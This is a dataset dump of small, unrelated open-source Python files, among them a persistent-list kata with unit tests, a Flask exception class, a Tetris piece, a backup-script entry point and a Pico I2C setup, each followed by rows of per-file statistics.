return mean | 20.055556 | 36 | 0.548476 | 52 | 361 | 3.788462 | 0.480769 | 0.22335 | 0.182741 | 0.203046 | 0.284264 | 0.284264 | 0 | 0 | 0 | 0 | 0 | 0.020833 | 0.33518 | 361 | 18 | 37 | 20.055556 | 0.8 | 0 | 0 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.142857 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
d8842c3d0cfc878e5c92a8fc8ba1dbc585a91688 | 3,452 | py | Python | persistent_list_kata/day_5.py | Alex-Diez/python-tdd-katas | a176f16cfd103e618e539a57cac0748fba52221c | [
"MIT"
] | null | null | null | persistent_list_kata/day_5.py | Alex-Diez/python-tdd-katas | a176f16cfd103e618e539a57cac0748fba52221c | [
"MIT"
] | null | null | null | persistent_list_kata/day_5.py | Alex-Diez/python-tdd-katas | a176f16cfd103e618e539a57cac0748fba52221c | [
"MIT"
] | null | null | null | import unittest
class PersistentList(object):
def __repr__(self):
return ''
def prepend(self, item):
return _Node(item, self)
def head(self):
pass
def tail(self):
return self
def __eq__(self, other):
return isinstance(other, self.__class__) \
and other.head() is None
def __add__(self, other):
return other
class _Node(PersistentList):
def __init__(self, head, tail):
self._head = head
self._tail = tail
def __repr__(self):
tail_repr = repr(self._tail)
if tail_repr is '':
return repr(self._head)
else:
return repr(self._head) + ', ' + repr(self._tail)
def head(self):
return self._head
def tail(self):
return self._tail
def __eq__(self, other):
return isinstance(other, self.__class__) \
and self.head() is other.head() \
and self.tail() == other.tail()
def __add__(self, other):
return (self.tail() + other).prepend(self.head())
def __iter__(self):
return _PersistentListIter(self)
class _PersistentListIter(object):
def __init__(self, persistent_list):
self._persistent_list = persistent_list
def __iter__(self):
return self
def next(self):
item = self._persistent_list.head()
if item is not None:
return item
else:
raise StopIteration()
class zrange:
def __init__(self, n):
self.n = n
def __iter__(self):
return zrange_iter(self.n)
class zrange_iter:
def __init__(self, n):
self.i = 0
self.n = n
def __iter__(self):
# Iterators are iterables too.
# Adding this functions to make them so.
return self
def next(self):
if self.i < self.n:
i = self.i
self.i += 1
return i
else:
raise StopIteration()
class PersistentListTest(unittest.TestCase):
def setUp(self):
self.empty = PersistentList()
def testCreateEmptyList(self):
self.assertEqual('', repr(self.empty))
def testPrependList(self):
nonempty = self.empty.prepend(1).prepend(2).prepend(3)
self.assertEqual('3, 2, 1', repr(nonempty))
def testHeadOfEmptyList(self):
self.assertEqual(None, self.empty.head())
def testHeadOfNonemptyList(self):
nonempty = self.empty.prepend(1).prepend(2).prepend(3)
self.assertEqual(3, nonempty.head())
def testTailOfEmptyList(self):
self.assertEqual(self.empty, self.empty.tail())
def testTailOfNonemptyList(self):
nonempty = self.empty.prepend(1).prepend(2).prepend(3)
self.assertEqual(self.empty.prepend(1).prepend(2), nonempty.tail())
def testConcatenationOfTwoEmptyLists(self):
self.assertEqual(self.empty, self.empty + self.empty)
def testConcatenationOfEmpty_andNonemptyLists(self):
nonempty = self.empty.prepend(1).prepend(2).prepend(3)
self.assertEqual(nonempty, self.empty + nonempty)
self.assertEqual(nonempty, nonempty + self.empty)
def testConcatenationOfTwoNonemptyLists(self):
nonempty = self.empty.prepend(1).prepend(2).prepend(3)
the_other_nonempty = self.empty.prepend(4).prepend(5).prepend(6)
self.assertEqual('3, 2, 1, 6, 5, 4', repr(nonempty + the_other_nonempty))
| 25.014493 | 81 | 0.612688 | 401 | 3,452 | 5.047382 | 0.177057 | 0.075593 | 0.067194 | 0.071146 | 0.339921 | 0.253953 | 0.224802 | 0.188241 | 0.188241 | 0.188241 | 0 | 0.012774 | 0.274334 | 3,452 | 137 | 82 | 25.19708 | 0.79521 | 0.019409 | 0 | 0.37234 | 0 | 0 | 0.007392 | 0 | 0 | 0 | 0 | 0 | 0.106383 | 1 | 0.329787 | false | 0.010638 | 0.010638 | 0.138298 | 0.585106 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
d888b3b4dddb7b72686e118afab1a93389e16130 | 210 | py | Python | backend/src/tools/exceptions/predict.py | robersh0/flask_gunicorn | 9679c4edb3ecccbbfc3131e742558fdf4cda9287 | [
"Apache-2.0"
] | null | null | null | backend/src/tools/exceptions/predict.py | robersh0/flask_gunicorn | 9679c4edb3ecccbbfc3131e742558fdf4cda9287 | [
"Apache-2.0"
] | null | null | null | backend/src/tools/exceptions/predict.py | robersh0/flask_gunicorn | 9679c4edb3ecccbbfc3131e742558fdf4cda9287 | [
"Apache-2.0"
] | null | null | null | from src.tools.exceptions.base import GunicornFlaskBaseException
class PredictException(GunicornFlaskBaseException):
def __init__(self, tag=None):
self.tag = tag
super().__init__(tag=tag)
| 26.25 | 64 | 0.742857 | 22 | 210 | 6.727273 | 0.681818 | 0.094595 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 210 | 7 | 65 | 30 | 0.845714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
d8a196320c18913764b54a765deebe37c40b5c84 | 269 | py | Python | tetris/tetrominos/i.py | JacobChen258/AI-Constraints-Satisfaction | 9b01cfce447e40678eb2e426413b4e2e437257f0 | [
"MIT"
] | null | null | null | tetris/tetrominos/i.py | JacobChen258/AI-Constraints-Satisfaction | 9b01cfce447e40678eb2e426413b4e2e437257f0 | [
"MIT"
] | null | null | null | tetris/tetrominos/i.py | JacobChen258/AI-Constraints-Satisfaction | 9b01cfce447e40678eb2e426413b4e2e437257f0 | [
"MIT"
] | null | null | null | from .tetromino import Tetromino
class I(Tetromino):
def __init__(self):
super().__init__("I")
def _build(self):
self._original = [[0, 0, 0, 0],
[0, 0, 0, 0],
[6, 6, 6, 6],
[0, 0, 0, 0]]
| 19.214286 | 35 | 0.423792 | 34 | 269 | 3.058824 | 0.382353 | 0.192308 | 0.230769 | 0.230769 | 0.076923 | 0.076923 | 0.076923 | 0 | 0 | 0 | 0 | 0.101266 | 0.412639 | 269 | 13 | 36 | 20.692308 | 0.556962 | 0 | 0 | 0 | 0 | 0 | 0.003731 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.111111 | 0 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
d8ae1711c8821ff7256011b5606ef3bf956e921c | 204 | py | Python | flask_socketapi/exc.py | Teino1978-Corp/-Flask-SocketAPI | 8be1a59d7b27484f53173d36390b31303cf4137e | [
"MIT"
] | 6 | 2016-07-10T23:02:15.000Z | 2021-08-30T02:45:38.000Z | flask_socketapi/exc.py | Teino1978-Corp/-Flask-SocketAPI | 8be1a59d7b27484f53173d36390b31303cf4137e | [
"MIT"
] | null | null | null | flask_socketapi/exc.py | Teino1978-Corp/-Flask-SocketAPI | 8be1a59d7b27484f53173d36390b31303cf4137e | [
"MIT"
] | 2 | 2017-05-18T21:33:44.000Z | 2017-05-21T13:51:48.000Z | class SocketAPIError(Exception):
pass
class InvalidRequestError(SocketAPIError):
pass
class InvalidURIError(InvalidRequestError):
pass
class NotFoundError(InvalidRequestError):
pass
| 13.6 | 43 | 0.77451 | 16 | 204 | 9.875 | 0.4375 | 0.170886 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 204 | 14 | 44 | 14.571429 | 0.929412 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
d8e7740d5edbf0356e3cb8d4bb1d76a9e629b9f0 | 513 | py | Python | src/__main__.py | bahorn/backup_script | de5809779ddbba8cd4a767f79dfd929848cc2893 | [
"MIT"
] | null | null | null | src/__main__.py | bahorn/backup_script | de5809779ddbba8cd4a767f79dfd929848cc2893 | [
"MIT"
] | null | null | null | src/__main__.py | bahorn/backup_script | de5809779ddbba8cd4a767f79dfd929848cc2893 | [
"MIT"
] | null | null | null | """
A tool to generate scripts using rclone to do backups.
Allows some sanity checking over your config, etc.
The scripts outputted are meant to be human readable.
"""
import sys
import toml
from config import Config
from tool import BackupScript
def main(args):
"""
Entry point for the tool
"""
cfg_f = toml.load(open(args[1], 'r'))
cfg = Config(cfg_f)
script_generator = BackupScript(cfg)
return script_generator.generate()
if __name__ == '__main__':
print(main(sys.argv))
| 19.730769 | 54 | 0.699805 | 74 | 513 | 4.689189 | 0.648649 | 0.023055 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002451 | 0.204678 | 513 | 25 | 55 | 20.52 | 0.848039 | 0.362573 | 0 | 0 | 1 | 0 | 0.029605 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.363636 | 0 | 0.545455 | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
d8fedc190540c35b3a505fff6934e0015a2f67d4 | 136 | py | Python | hookit/exc.py | xhs/hookit | f3be94779ce628583caf43663d22288f47588ea5 | [
"BSD-2-Clause"
] | 1 | 2020-04-06T20:53:27.000Z | 2020-04-06T20:53:27.000Z | hookit/exc.py | xhs/hookit | f3be94779ce628583caf43663d22288f47588ea5 | [
"BSD-2-Clause"
] | null | null | null | hookit/exc.py | xhs/hookit | f3be94779ce628583caf43663d22288f47588ea5 | [
"BSD-2-Clause"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
class HookitConnectionError(Exception):
pass
__all__ = ['HookitConnectionError']
| 13.6 | 39 | 0.683824 | 13 | 136 | 6.846154 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017391 | 0.154412 | 136 | 9 | 40 | 15.111111 | 0.756522 | 0.316176 | 0 | 0 | 0 | 0 | 0.230769 | 0.230769 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.333333 | 0 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
2b042d2ba8d298c0c460075d008cdbddf6e17de2 | 1,349 | py | Python | pyglobi/__init__.py | nicholac/pyglobi | aeebc6f80694e10dc8d23a8bb3ce030beaafaa2a | [
"MIT"
] | null | null | null | pyglobi/__init__.py | nicholac/pyglobi | aeebc6f80694e10dc8d23a8bb3ce030beaafaa2a | [
"MIT"
] | null | null | null | pyglobi/__init__.py | nicholac/pyglobi | aeebc6f80694e10dc8d23a8bb3ce030beaafaa2a | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# PyGlobi
# TODO:
"""
PyGlobi Library
~~~~~~~~~~~~~~~~~~~~~
Python API for the Global Biotic Interactions (GloBI) dataset.
Basic usage:
>>> import pyglobi
>>> ...
"""
import os
import json
import warnings
from .__version__ import __title__, __description__, __url__, __version__
from .__version__ import __build__, __author__, __author_email__, __license__
from .__version__ import __copyright__
from .models import *
#Module Level Data
TEST = 10
#Instantiate the interal interactions
interactions = {}
#TODO: Load from local user directory cache
with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'data', "interactions.json"), "r") as fptr:
data = json.load(fptr)
for _name, _values in data.items():
interactions[_name] = Interaction(
name=_name,
source=_values.get("source"),
target=_values.get("target"),
term_iri=_values.get("termIRI"),
neo_type=_values.get("neo_type")
)
from . import config
from . import utils
from .models import *
from .api import *
from .sessions import *
from .status_codes import *
from .exceptions import *
from .queries import *
# Set default logging handler to avoid "No handler found" warnings.
import logging
from logging import NullHandler
logging.getLogger(__name__).addHandler(NullHandler())
| 24.527273 | 110 | 0.704967 | 163 | 1,349 | 5.411043 | 0.521472 | 0.056689 | 0.057823 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002688 | 0.172721 | 1,349 | 54 | 111 | 24.981481 | 0.787634 | 0.255745 | 0 | 0.066667 | 0 | 0 | 0.049495 | 0 | 0 | 0 | 0 | 0.037037 | 0 | 1 | 0 | false | 0 | 0.566667 | 0 | 0.566667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
2b09e8fb8c2377d4b204c8e5bd9ec89132b62561 | 63 | py | Python | example_snippets/multimenus_snippets/Snippets/SciPy/Physical and mathematical constants/CODATA physical constants/N/natural unit of mom.um in MeVc.py | kuanpern/jupyterlab-snippets-multimenus | 477f51cfdbad7409eab45abe53cf774cd70f380c | [
"BSD-3-Clause"
] | null | null | null | example_snippets/multimenus_snippets/Snippets/SciPy/Physical and mathematical constants/CODATA physical constants/N/natural unit of mom.um in MeVc.py | kuanpern/jupyterlab-snippets-multimenus | 477f51cfdbad7409eab45abe53cf774cd70f380c | [
"BSD-3-Clause"
] | null | null | null | example_snippets/multimenus_snippets/Snippets/SciPy/Physical and mathematical constants/CODATA physical constants/N/natural unit of mom.um in MeVc.py | kuanpern/jupyterlab-snippets-multimenus | 477f51cfdbad7409eab45abe53cf774cd70f380c | [
"BSD-3-Clause"
] | 1 | 2021-02-04T04:51:48.000Z | 2021-02-04T04:51:48.000Z | constants.physical_constants["natural unit of mom.um in MeV/c"] | 63 | 63 | 0.809524 | 11 | 63 | 4.545455 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.079365 | 63 | 1 | 63 | 63 | 0.862069 | 0 | 0 | 0 | 0 | 0 | 0.484375 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
2b0ea7efdc61f1404f5f267f63e7be99818357ef | 68 | py | Python | config/models/transformer.py | IdiosyncraticDragon/OpenNMT-tf | 99f17c2c2436b45d8a730c662530f4428f9632ca | [
"MIT"
] | 2 | 2018-09-28T14:44:59.000Z | 2018-11-29T02:31:28.000Z | config/models/transformer.py | Nourhene95/Film_Translation | 52538d992abcce044911ee945ffaabd1d12ffe9d | [
"MIT"
] | null | null | null | config/models/transformer.py | Nourhene95/Film_Translation | 52538d992abcce044911ee945ffaabd1d12ffe9d | [
"MIT"
] | 1 | 2019-06-17T21:36:56.000Z | 2019-06-17T21:36:56.000Z | from opennmt.models.catalog import Transformer
model = Transformer
| 17 | 46 | 0.838235 | 8 | 68 | 7.125 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117647 | 68 | 3 | 47 | 22.666667 | 0.95 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
2b10c856b49f877d086d499a00dcb3bd008295be | 317 | py | Python | build/lib/pyhpeimc/version.py | HPNetworking/HP-Intelligent-Management-Center | 4fba31827573587e03a6233c7db60f188038c8e5 | [
"Apache-2.0"
] | 13 | 2016-03-14T17:55:03.000Z | 2021-03-26T07:18:26.000Z | build/lib/pyhpeimc/version.py | HPNetworking/HP-Intelligent-Management-Center | 4fba31827573587e03a6233c7db60f188038c8e5 | [
"Apache-2.0"
] | 7 | 2016-08-04T17:39:11.000Z | 2017-09-19T13:42:35.000Z | build/lib/pyhpeimc/version.py | HPNetworking/HP-Intelligent-Management-Center | 4fba31827573587e03a6233c7db60f188038c8e5 | [
"Apache-2.0"
] | 17 | 2016-03-03T05:24:20.000Z | 2022-03-10T08:16:31.000Z | def version():
"""Function takes no aruguments and returns a STR value of the current version of the library. This value should match
the value in the setup.py
:param None
:return str value of the current version of the library
:rtype str
>>> version()
1.0.33
"""
print ('1.0.34') | 28.818182 | 122 | 0.652997 | 50 | 317 | 4.14 | 0.6 | 0.096618 | 0.096618 | 0.125604 | 0.376812 | 0.376812 | 0.376812 | 0.376812 | 0.376812 | 0 | 0 | 0.034188 | 0.26183 | 317 | 11 | 123 | 28.818182 | 0.850427 | 0.763407 | 0 | 0 | 0 | 0 | 0.146341 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0 | 0.5 | 0.5 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
2b2517c362cf2f3a86a36ce0643cc246ce4e7c00 | 130 | py | Python | src/flax_extra/training/__init__.py | manifest/flax-extra | e19de992c7acefefca9ed4c9f7ce3e092943363a | [
"Apache-2.0"
] | null | null | null | src/flax_extra/training/__init__.py | manifest/flax-extra | e19de992c7acefefca9ed4c9f7ce3e092943363a | [
"Apache-2.0"
] | 3 | 2021-08-10T04:59:35.000Z | 2021-10-07T21:10:37.000Z | src/flax_extra/training/__init__.py | manifest/flax-extra | e19de992c7acefefca9ed4c9f7ce3e092943363a | [
"Apache-2.0"
] | null | null | null | r"""Training API."""
from flax_extra.training._loop import TrainLoop, TrainTask
__all__ = [
"TrainLoop",
"TrainTask",
]
| 14.444444 | 58 | 0.676923 | 14 | 130 | 5.857143 | 0.785714 | 0.439024 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.176923 | 130 | 8 | 59 | 16.25 | 0.766355 | 0.1 | 0 | 0 | 0 | 0 | 0.162162 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
2b2b28c4e353e666464f155d20c16f44f9ef5fba | 662 | py | Python | moviebot/nlu/annotation/values.py | benebjoern/XAI_MovieBot | fbf47aba22081dd2efe9b89d5797da2dc143f15e | [
"MIT"
] | 2 | 2021-05-27T09:48:04.000Z | 2021-12-01T11:05:12.000Z | moviebot/nlu/annotation/values.py | benebjoern/XAI_MovieBot | fbf47aba22081dd2efe9b89d5797da2dc143f15e | [
"MIT"
] | 20 | 2020-09-18T17:59:32.000Z | 2021-04-12T11:09:29.000Z | moviebot/nlu/annotation/values.py | benebjoern/XAI_MovieBot | fbf47aba22081dd2efe9b89d5797da2dc143f15e | [
"MIT"
] | 5 | 2020-09-10T19:49:25.000Z | 2021-07-30T05:46:29.000Z | """This file contains the list of possible slot values other than the values
fetched from the database.
This approach will help the dialogue state tracker to update state for specific
type of slot values easily"""
__author__ = 'Javeria Habib'
from enum import Enum
class Values(Enum):
"""This class contains the list of possible slot values other than the
values fetched from the database. This approach will help the dialogue state
tracker to update state for specific type of slot values easily"""
DONT_CARE = 'dont_care'
DISCLOSE_NOT = 'disclose_not'
NOT_FOUND = 'not_found'
def __str__(self):
return str(self.value)
| 30.090909 | 80 | 0.743202 | 99 | 662 | 4.828283 | 0.424242 | 0.083682 | 0.062762 | 0.07113 | 0.686192 | 0.686192 | 0.686192 | 0.686192 | 0.686192 | 0.686192 | 0 | 0 | 0.203927 | 662 | 21 | 81 | 31.52381 | 0.907021 | 0.628399 | 0 | 0 | 0 | 0 | 0.189427 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.125 | 0.125 | 0.875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
2b3ca91f91a1ba9b2896646d6f63a90d1691a84b | 179 | py | Python | tests/regressiontests/initial_sql_regress/tests.py | alex/django-old | 6f964c8f03e5d25c9e36898a001c8463f82fbb81 | [
"BSD-3-Clause"
] | 2 | 2015-11-05T06:07:13.000Z | 2019-01-04T07:35:59.000Z | tests/regressiontests/initial_sql_regress/tests.py | alex/django-old | 6f964c8f03e5d25c9e36898a001c8463f82fbb81 | [
"BSD-3-Clause"
] | null | null | null | tests/regressiontests/initial_sql_regress/tests.py | alex/django-old | 6f964c8f03e5d25c9e36898a001c8463f82fbb81 | [
"BSD-3-Clause"
] | null | null | null | from django.test import TestCase
from models import Simple
class InitialSQLTests(TestCase):
def test_initial_sql(self):
self.assertEqual(Simple.objects.count(), 7)
| 19.888889 | 51 | 0.75419 | 23 | 179 | 5.782609 | 0.73913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006667 | 0.162011 | 179 | 8 | 52 | 22.375 | 0.88 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 1 | 0.2 | false | 0 | 0.4 | 0 | 0.8 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
2b6e242775999039db97b7ad1387761e2155fb1f | 117 | py | Python | W3Schools Online Lessons/ML/Normal Data Distribution.py | Hetti219/Python-Projects | cf483836496d329ea056928b719e485cbab303a8 | [
"MIT"
] | 1 | 2021-12-13T06:04:57.000Z | 2021-12-13T06:04:57.000Z | W3Schools Online Lessons/ML/Normal Data Distribution.py | Hetti219/Python-Projects | cf483836496d329ea056928b719e485cbab303a8 | [
"MIT"
] | null | null | null | W3Schools Online Lessons/ML/Normal Data Distribution.py | Hetti219/Python-Projects | cf483836496d329ea056928b719e485cbab303a8 | [
"MIT"
] | null | null | null | import numpy
import matplotlib.pyplot as plt
x = numpy.random.normal(1.9, 1.0, 109324)
plt.hist(x, 100)
plt.show()
| 14.625 | 41 | 0.717949 | 22 | 117 | 3.818182 | 0.727273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.128713 | 0.136752 | 117 | 7 | 42 | 16.714286 | 0.70297 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
2b70cd1b06b98aa2f379bc712bb472936bde0e5b | 222 | py | Python | src/digit_reader/model/model.py | dadamsncsa/python-best-practices-course | e87e60673b0b5d601a7c6de1f9efd543962cc3ba | [
"MIT"
] | null | null | null | src/digit_reader/model/model.py | dadamsncsa/python-best-practices-course | e87e60673b0b5d601a7c6de1f9efd543962cc3ba | [
"MIT"
] | 162 | 2021-01-04T13:49:04.000Z | 2021-05-25T18:56:34.000Z | src/digit_reader/model/model.py | dadamsncsa/python-best-practices-course | e87e60673b0b5d601a7c6de1f9efd543962cc3ba | [
"MIT"
] | null | null | null | class MNISTModel:
def __init__(self):
pass
def train_model(self):
"""
some notes
"""
pass
def evaluate_model(self
"""
more notes
"""
pass
| 15.857143 | 27 | 0.445946 | 20 | 222 | 4.65 | 0.6 | 0.150538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.463964 | 222 | 13 | 28 | 17.076923 | 0.781513 | 0 | 0 | 0.428571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.428571 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
2b73fa429d2f99e7400e0b73f68e23d4093c7080 | 46 | py | Python | tests/fixtures/script-files/sample_script.py | avoltz/poetry-core | e4d04bab77915b8ec5e995c9b88b539bacb55bc8 | [
"MIT"
] | 205 | 2020-07-03T13:01:07.000Z | 2022-03-27T09:56:16.000Z | tests/fixtures/script-files/sample_script.py | avoltz/poetry-core | e4d04bab77915b8ec5e995c9b88b539bacb55bc8 | [
"MIT"
] | 149 | 2020-06-28T00:02:05.000Z | 2022-03-29T14:35:58.000Z | tests/fixtures/script-files/sample_script.py | avoltz/poetry-core | e4d04bab77915b8ec5e995c9b88b539bacb55bc8 | [
"MIT"
] | 152 | 2020-06-27T00:04:52.000Z | 2022-03-28T15:50:40.000Z | #!/usr/bin/env python
hello = "Hello World!"
| 11.5 | 22 | 0.652174 | 7 | 46 | 4.285714 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.152174 | 46 | 3 | 23 | 15.333333 | 0.769231 | 0.434783 | 0 | 0 | 0 | 0 | 0.48 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
991e4c9bf468f89dba7418269af96a2b5903a976 | 71 | py | Python | drivers/i2c.py | clapeyre/pico-arcade | 9ad4bc3250fcf0eadf4f92a83255c178acd5fe77 | [
"MIT"
] | null | null | null | drivers/i2c.py | clapeyre/pico-arcade | 9ad4bc3250fcf0eadf4f92a83255c178acd5fe77 | [
"MIT"
] | null | null | null | drivers/i2c.py | clapeyre/pico-arcade | 9ad4bc3250fcf0eadf4f92a83255c178acd5fe77 | [
"MIT"
] | null | null | null | from machine import Pin, I2C
I2C0 = I2C(0, scl=Pin(21), sda=Pin(20))
